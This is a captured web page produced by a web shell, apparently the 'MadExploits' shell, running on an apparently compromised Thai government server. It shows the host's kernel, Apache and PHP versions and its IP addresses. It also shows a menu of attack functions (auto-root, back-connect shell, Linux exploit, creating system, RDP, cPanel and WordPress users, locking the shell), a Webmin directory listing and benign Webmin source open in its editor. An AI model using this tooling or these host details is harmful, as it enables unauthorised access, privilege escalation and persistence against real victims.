Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
acl /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
5.15
KB
-rw-r--r--
acl-lib.pl
58.88
KB
-rwxr-xr-x
acl_security.pl
2.27
KB
-rwxr-xr-x
backup_config.pl
2.59
KB
-rwxr-xr-x
cert_form.cgi
1.43
KB
-rwxr-xr-x
cert_issue.cgi
1.64
KB
-rwxr-xr-x
cert_output.cgi
392
B
-rwxr-xr-x
cgi_args.pl
714
B
-rwxr-xr-x
config
61
B
-rw-r--r--
config-ALL-linux
42
B
-rw-r--r--
config-freebsd
42
B
-rw-r--r--
config-macos
42
B
-rw-r--r--
config-netbsd
42
B
-rw-r--r--
config-openbsd
42
B
-rw-r--r--
config-solaris-10-ALL
46
B
-rw-r--r--
config-syno-linux
51
B
-rw-r--r--
config.info
240
B
-rw-r--r--
config.info.ar
385
B
-rw-r--r--
config.info.bg
247
B
-rw-r--r--
config.info.bg.UTF-8
397
B
-rw-r--r--
config.info.ca
290
B
-rw-r--r--
config.info.ca.UTF-8
295
B
-rw-r--r--
config.info.cz
252
B
-rw-r--r--
config.info.cz.UTF-8
265
B
-rw-r--r--
config.info.da
259
B
-rw-r--r--
config.info.da.UTF-8
259
B
-rw-r--r--
config.info.de
272
B
-rw-r--r--
config.info.de.UTF-8
273
B
-rw-r--r--
config.info.es
277
B
-rw-r--r--
config.info.es.UTF-8
277
B
-rw-r--r--
config.info.eu
348
B
-rw-r--r--
config.info.eu.UTF-8
298
B
-rw-r--r--
config.info.fa
402
B
-rw-r--r--
config.info.fr
316
B
-rw-r--r--
config.info.fr.UTF-8
316
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
329
B
-rw-r--r--
config.info.hu.UTF-8
353
B
-rw-r--r--
config.info.it
283
B
-rw-r--r--
config.info.it.UTF-8
283
B
-rw-r--r--
config.info.ja_JP.UTF-8
319
B
-rw-r--r--
config.info.ja_JP.euc
238
B
-rw-r--r--
config.info.ko_KR.UTF-8
233
B
-rw-r--r--
config.info.ko_KR.euc
188
B
-rw-r--r--
config.info.ms_MY
248
B
-rw-r--r--
config.info.ms_MY.UTF-8
248
B
-rw-r--r--
config.info.nl
268
B
-rw-r--r--
config.info.nl.UTF-8
268
B
-rw-r--r--
config.info.no
264
B
-rw-r--r--
config.info.no.UTF-8
264
B
-rw-r--r--
config.info.pl
260
B
-rw-r--r--
config.info.pl.UTF-8
270
B
-rw-r--r--
config.info.pt_BR
291
B
-rw-r--r--
config.info.pt_BR.UTF-8
295
B
-rw-r--r--
config.info.ru.UTF-8
439
B
-rw-r--r--
config.info.ru_RU
267
B
-rw-r--r--
config.info.ru_RU.UTF-8
439
B
-rw-r--r--
config.info.ru_SU
267
B
-rw-r--r--
config.info.sk
260
B
-rw-r--r--
config.info.sk.UTF-8
278
B
-rw-r--r--
config.info.sv
61
B
-rw-r--r--
config.info.sv.UTF-8
61
B
-rw-r--r--
config.info.tr
285
B
-rw-r--r--
config.info.uk_UA
191
B
-rw-r--r--
config.info.uk_UA.UTF-8
297
B
-rw-r--r--
config.info.zh_CN
40
B
-rw-r--r--
config.info.zh_CN.UTF-8
47
B
-rw-r--r--
config.info.zh_TW.Big5
117
B
-rw-r--r--
config.info.zh_TW.UTF-8
146
B
-rw-r--r--
convert.cgi
3.74
KB
-rwxr-xr-x
convert_form.cgi
1.54
KB
-rwxr-xr-x
defaultacl
230
B
-rw-r--r--
delete_group.cgi
1.3
KB
-rwxr-xr-x
delete_groups.cgi
1.4
KB
-rwxr-xr-x
delete_session.cgi
380
B
-rwxr-xr-x
delete_user.cgi
615
B
-rwxr-xr-x
delete_users.cgi
2.88
KB
-rwxr-xr-x
edit_acl.cgi
2.67
KB
-rwxr-xr-x
edit_group.cgi
4.33
KB
-rwxr-xr-x
edit_pass.cgi
1.77
KB
-rwxr-xr-x
edit_rbac.cgi
898
B
-rwxr-xr-x
edit_sql.cgi
3.38
KB
-rwxr-xr-x
edit_sync.cgi
1.08
KB
-rwxr-xr-x
edit_unix.cgi
2.71
KB
-rwxr-xr-x
edit_user.cgi
13.46
KB
-rwxr-xr-x
feedback_files.pl
283
B
-rwxr-xr-x
index.cgi
8.24
KB
-rwxr-xr-x
list_sessions.cgi
2.34
KB
-rwxr-xr-x
log_parser.pl
1.73
KB
-rwxr-xr-x
makedn.cgi
1.7
KB
-rwxr-xr-x
maketables.cgi
1.18
KB
-rwxr-xr-x
md5-lib.pl
6.47
KB
-rwxr-xr-x
module.info
187
B
-rw-r--r--
module.info.ar
193
B
-rw-r--r--
module.info.bg
31
B
-rw-r--r--
module.info.bg.UTF-8
52
B
-rw-r--r--
module.info.ca
126
B
-rw-r--r--
module.info.ca.UTF-8
141
B
-rw-r--r--
module.info.cz
26
B
-rw-r--r--
module.info.cz.UTF-8
34
B
-rw-r--r--
module.info.da
23
B
-rw-r--r--
module.info.da.UTF-8
29
B
-rw-r--r--
module.info.de
146
B
-rw-r--r--
module.info.de.UTF-8
158
B
-rw-r--r--
module.info.es
125
B
-rw-r--r--
module.info.es.UTF-8
137
B
-rw-r--r--
module.info.fr
28
B
-rw-r--r--
module.info.fr.UTF-8
34
B
-rw-r--r--
module.info.hu
28
B
-rw-r--r--
module.info.hu.UTF-8
36
B
-rw-r--r--
module.info.it
22
B
-rw-r--r--
module.info.it.UTF-8
28
B
-rw-r--r--
module.info.ja_JP.UTF-8
34
B
-rw-r--r--
module.info.ja_JP.euc
29
B
-rw-r--r--
module.info.ko_KR.UTF-8
34
B
-rw-r--r--
module.info.ko_KR.euc
29
B
-rw-r--r--
module.info.ms_MY
126
B
-rw-r--r--
module.info.ms_MY.UTF-8
138
B
-rw-r--r--
module.info.nl
26
B
-rw-r--r--
module.info.nl.UTF-8
32
B
-rw-r--r--
module.info.no
23
B
-rw-r--r--
module.info.no.UTF-8
29
B
-rw-r--r--
module.info.pl
125
B
-rw-r--r--
module.info.pl.UTF-8
145
B
-rw-r--r--
module.info.pt
31
B
-rw-r--r--
module.info.pt.UTF-8
37
B
-rw-r--r--
module.info.pt_BR
30
B
-rw-r--r--
module.info.pt_BR.UTF-8
37
B
-rw-r--r--
module.info.ru.UTF-8
46
B
-rw-r--r--
module.info.ru_RU
31
B
-rw-r--r--
module.info.ru_RU.UTF-8
49
B
-rw-r--r--
module.info.ru_SU
31
B
-rw-r--r--
module.info.sk
27
B
-rw-r--r--
module.info.sk.UTF-8
35
B
-rw-r--r--
module.info.sv
25
B
-rw-r--r--
module.info.sv.UTF-8
32
B
-rw-r--r--
module.info.tr
29
B
-rw-r--r--
module.info.zh_CN
27
B
-rw-r--r--
module.info.zh_TW.Big5
30
B
-rw-r--r--
negativeacl
13
B
-rw-r--r--
openssl.cnf
6.02
KB
-rw-r--r--
postinstall.pl
943
B
-rwxr-xr-x
save_acl.cgi
2.8
KB
-rwxr-xr-x
save_group.cgi
3.71
KB
-rwxr-xr-x
save_pass.cgi
1.67
KB
-rwxr-xr-x
save_sql.cgi
3.08
KB
-rwxr-xr-x
save_sync.cgi
637
B
-rwxr-xr-x
save_twofactor.cgi
2.2
KB
-rwxr-xr-x
save_unix.cgi
2.14
KB
-rwxr-xr-x
save_user.cgi
11.17
KB
-rwxr-xr-x
schema.cgi
559
B
-rwxr-xr-x
switch.cgi
673
B
-rwxr-xr-x
system_info.pl
1.56
KB
-rw-r--r--
twofactor.pl
709
B
-rwxr-xr-x
twofactor_form.cgi
1.96
KB
-rwxr-xr-x
useradmin_update.pl
2.92
KB
-rwxr-xr-x
webmin.schema
1.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : convert.cgi
#!/usr/bin/perl # convert.cgi # Convert unix to webmin users use strict; use warnings; require './acl-lib.pl'; our (%in, %text, %config, %access, $config_directory); &ReadParse(); &error_setup($text{'convert_err'}); $access{'sync'} && $access{'create'} || &error($text{'convert_ecannot'}); &foreign_require("useradmin", "user-lib.pl"); # Validate inputs my (%users, %nusers, $gid); if ($access{'gassign'} ne '*') { my @gcan = split(/\s+/, $access{'gassign'}); &indexof($in{'wgroup'}, @gcan) >= 0 || &error($text{'convert_ewgroup2'}); } if ($in{'conv'} == 1) { $in{'users'} =~ /\S/ || &error($text{'convert_eusers'}); map { $users{$_}++ } split(/\s+/, $in{'users'}); } elsif ($in{'conv'} == 2) { map { $nusers{$_}++ } split(/\s+/, $in{'nusers'}); } elsif ($in{'conv'} == 3) { $gid = getgrnam($in{'group'}); defined($gid) || &error($text{'convert_egroup'}); } elsif ($in{'conv'} == 4) { $in{'min'} =~ /^\d+$/ || &error($text{'convert_emin'}); $in{'max'} =~ /^\d+$/ || &error($text{'convert_emax'}); } # Get the group to add to my $group; my %exists; foreach my $g (&list_groups()) { $group = $g if ($g->{'name'} eq $in{'wgroup'}); $exists{$g->{'name'}}++; } $group || &error($text{'convert_ewgroup'}); my (@ginfo, @members); if ($in{'conv'} == 3) { # Find secondary members of group @ginfo = getgrnam($in{'group'}); @members = split(/\s+/, $ginfo[3]); } # Build the list of users my @users; if ($in{'sync'}) { # Can just get from getpw* system calls, as password isn't needed @users = ( ); setpwent(); while(my @uinfo = getpwent()) { push(@users, { 'user' => $uinfo[0], 'pass' => $uinfo[1], 'uid' => $uinfo[2], 'gid' => $uinfo[3], 'real' => $uinfo[6], 'home' => $uinfo[7], 'shell' => $uinfo[8] }); } } else { # Read /etc/passwd @users = &useradmin::list_users(); } # Convert matching users &ui_print_header(undef, $text{'convert_title'}, ""); print $text{'convert_msg'},"<p>\n"; print &ui_columns_start([ $text{'convert_user'}, $text{'convert_action'} ]); map { $exists{$_->{'name'}}++ } &list_users(); my ($skipped, $exists, $invalid, $converted) = (0, 0, 0, 0); foreach my $u (@users) { my $ok; if ($in{'conv'} == 0) { $ok = 1; } elsif ($in{'conv'} == 1) { $ok = $users{$u->{'user'}}; } elsif ($in{'conv'} == 2) { $ok = !$nusers{$u->{'user'}}; } elsif ($in{'conv'} == 3) { $ok = $u->{'gid'} == $gid || &indexof($u->{'user'}, @members) >= 0; } elsif ($in{'conv'} == 4) { $ok = $u->{'uid'} >= $in{'min'} && $u->{'uid'} <= $in{'max'}; } my $msg; if (!$ok) { #print &text('convert_skip', $u->{'user'}),"\n"; $msg = undef; $skipped++; } elsif ($exists{$u->{'user'}}) { $msg = "<i>".&text('convert_exists', $u->{'user'})."</i>"; $exists++; } elsif ($u->{'user'} !~ /^[A-z0-9\-\_\.]+$/) { $msg = "<i>".&text('convert_invalid', $u->{'user'})."</i>"; $invalid++; } else { # Actually add the user $msg = "<b>".&text('convert_added', $u->{'user'})."</b>"; my $user = { 'name' => $u->{'user'}, 'pass' => $in{'sync'} ? 'x' : $u->{'pass'}, 'modules' => $group->{'modules'} }; &create_user($user); foreach my $m (@{$group->{'modules'}}, "") { my %groupacl; if (&read_file( "$config_directory/$m/$in{'wgroup'}.gacl", \%groupacl)) { &write_file( "$config_directory/$m/$u->{'user'}.acl", \%groupacl); } } push(@{$group->{'members'}}, $u->{'user'}); $exists{$u->{'user'}}++; $converted++; } print &ui_columns_row([ $u->{'user'}, $msg ]) if ($msg); } endpwent(); print &ui_columns_end(); # Finish off &modify_group($group->{'name'}, $group); &restart_miniserv(); # Print summary print &text('convert_done', $converted, $invalid, $exists, $skipped),"<p>\n"; &ui_print_footer("", $text{'index_return'});
Close